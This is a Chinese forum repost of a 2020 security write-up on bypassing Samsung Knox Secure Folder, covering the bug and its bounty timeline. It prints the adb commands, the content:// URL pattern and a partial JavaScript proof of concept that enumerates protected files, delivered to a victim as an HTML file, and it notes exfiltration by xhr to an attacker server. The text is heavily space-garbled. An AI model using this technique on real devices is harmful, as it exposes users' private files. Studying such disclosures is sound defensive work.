搜索

[16081] 2020-11-12_安全研究绕过SamsungKnox保护读取安全文件夹存储文件

文档创建者：s7ckTeam
浏览次数：28
最后更新：2025-01-18
2020-11-12_安全研究绕过SamsungKnox保护读取安全文件夹存储文件 安 全 研 究   |   绕 过 S a m s u n g   K n o x 保 护 读 取 安 全 文 件 夹 存 储 文 件 c l o u d s   F r e e B u f   2 0 2 0 - 1 1 - 1 2 S a m s u n g   K n o x 是 防 御 级 移 动 安 全 平 台 ， 内 置 于 三 星 设 备 中 ， 通 过 物 理 手 段 和 软 件 体 系 相 结 合 的 方 式 全 方 位 增 强 安 全 性 ， 从 硬 件 到 应 用 层 都 提 供 安 全 保 护 。 作 者 通 过 路 径 和 文 件 构 造 ， 是 防 御 级 移 动 安 全 平 台 ， 内 置 于 三 星 设 备 中 ， 通 过 物 理 手 段 和 软 件 体 系 相 结 合 的 方 式 全 方 位 增 强 安 全 性 ， 从 硬 件 到 应 用 层 都 提 供 安 全 保 护 。 作 者 通 过 路 径 和 文 件 构 造 ， 以 未 授 权 方 式 绕 过 以 未 授 权 方 式 绕 过 S a m s u n g   K n o x 保 护 读 取 安 全 文 件 夹 中 的 存 储 文 件 ， 收 获 三 星 保 护 读 取 安 全 文 件 夹 中 的 存 储 文 件 ， 收 获 三 星 $ 3 7 5 0 美 元 奖 励 。 美 元 奖 励 。 漏 洞 介 绍 漏 洞 介 绍 正 常 来 说 ， 三 星 多 用 户 存 储 环 境 （ M U L T I - U S E R   S T O R A G E ） 使 用 了 安 全 文 件 夹 A P P 来 加 固 保 密 文 件 ， 内 容 提 供 商 （ C o n t e n t   P r o v i d e r ） 无 权 访 问 其 中 的 文 件 ， 因 此 ， 用 浏 览 器 或 A P P 也 无 法 访 问 多 用 户 存 储 环 境 中 的 相 关 文 件 。 该 漏 洞 在 于 ， 当 安 全 文 件 夹 处 于 锁 定 状 态 时 ， 可 以 使 用 内 容 U R L 链 接 ， 通 过 三 星 浏 览 器 访 问 这 些 安 全 文 件 。 访 问 多 用 户 存 储 环 境 中 的 特 定 文 件 需 要 在 内 容 U R L 链 接 中 加 上 对 应 的 一 个 文 件 号 ， 因 此 ， 可 以 利 用   j a v a s c r i p t   脚 本 枚 举 出 多 用 户 存 储 环 境 中 的 所 有 文 件 。 漏 洞 复 现 漏 洞 复 现 1 、 获 取 多 用 户 存 储 环 境 中 的 用 户 信 息 ： a d b   s h e l l   p m   l i s t   u s e r s 然 后 会 得 到 以 下 信 息 ： U s e r I n f o { 0 : r a h u l : 1 }   r u n n i n g U s e r I n f o { 1 5 0 : S e c u r e   F o l d e r :   }   r u n n i n g 2 、 构 造 以 下 内 容 U R L 链 接 来 访 问 相 应 文 件 ： c o n t e n t : / / 1 5 0 @ m e d i a / e x t e r n a l / f i l e / f i l e _ n u m b e r 3 、 基 于 该 漏 洞 ， 构 造 以 下 h t m l 代 码 文 件 对 存 储 中 的 文 件 进 行 枚 举 ： 4 、 出 于 验 证 漏 洞 ， 减 少 攻 击 步 骤 ， 此 处 把 该 h t m l 文 件 通 过 W h a t s a p p 发 送 给 受 害 者 ； 5 、 当 受 害 者 在 三 星 浏 览 器 中 打 开 该 h t m l 文 件 时 ， 该 文 件 将 会 执 行 文 件 枚 举 ， 如 果 发 现 有 效 文 件 ， 将 会 显 示 出 相 应 的 内 容 U R L 链 接 路 径 （ 从 技 术 上 说 也 可 以 在 该 h t m l 文 件 中 设 置 响 应 以 便 攻 击 者 可 以 获 取 ） ； 6 、 同 样 的 ， 如 果 在 三 星 浏 览 器 中 打 开 上 述 获 取 的 内 容 U R L 链 接 ， 如 c o n t e n t : / / 1 5 0 @ m e d i a / e x t e r n a l / f i l e / 1 0 0 2 ， 就 可 显 示 出 具 体 的 安 全 文 件 ， 之 后 可 以 通 过 x h r 请 求 发 送 到 攻 击 者 控 制 的 服 务 器 中 。 漏 洞 验 证 漏 洞 验 证 1 、 发 送 h t m l 文 件 给 受 害 者 ： < h t m l > < b o d y > < s c r i p t > v a r   s c r i p t E l e m e n t   =   d o c u m e n t . c r e a t e E l e m e n t ( " s c r i p t " ) ; v a r   i   =   0 ; f u n c t i o n   n e x t ( ) { s c r i p t E l e m e n t . o n e r r o r   =   f u n c t i o n ( )   {   i + + ;   d o c u m e n t . w r i t e ( ' F i n d i n g ' ) ;   n e x t ( ) ;   } ;   s c r i p t E l e m e n t . o n l o a d   =   f u n c t i o n ( )   {   f o u n d I t ( ) ;   } ;   s c r i p t E l e m e n t . s r c   =   " c o n t e n t : / / 1 5 0 @ m e d i a / e x t e r n a l / f i l e / " } f u n c t i o n   f o u n d I t ( )   { a l e r t ( s c r i p t E l e m e n t . s r c ) ; } ; < / s c r i p t > < / b o d y > < / h t m l >
2 、 构 造 c o n t e n t : / / 链 接 ：
3 、 即 可 访 问 存 储 中 的 文 件 ：
漏 洞 报 送 和 处 理 进 程 漏 洞 报 送 和 处 理 进 程 2 0 2 0 . 6 . 1 2     漏 洞 报 送 2 0 2 0 . 6 . 1 5     漏 洞 分 类 2 0 2 0 . 7 . 2 4     三 星 方 面 声 称 要 与 内 部 供 应 商 协 调 2 0 2 0 . 8 . 1 4     三 星 方 面 承 认 漏 洞 高 危 2 0 2 0 . 9 . 1 5     三 星 奖 励 $ 3 7 5 0 2 0 2 0 . 1 0 . 0 5     三 星 给 予 内 部 漏 洞 编 号 S V E - 2 0 2 0 - 1 8 0 2 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理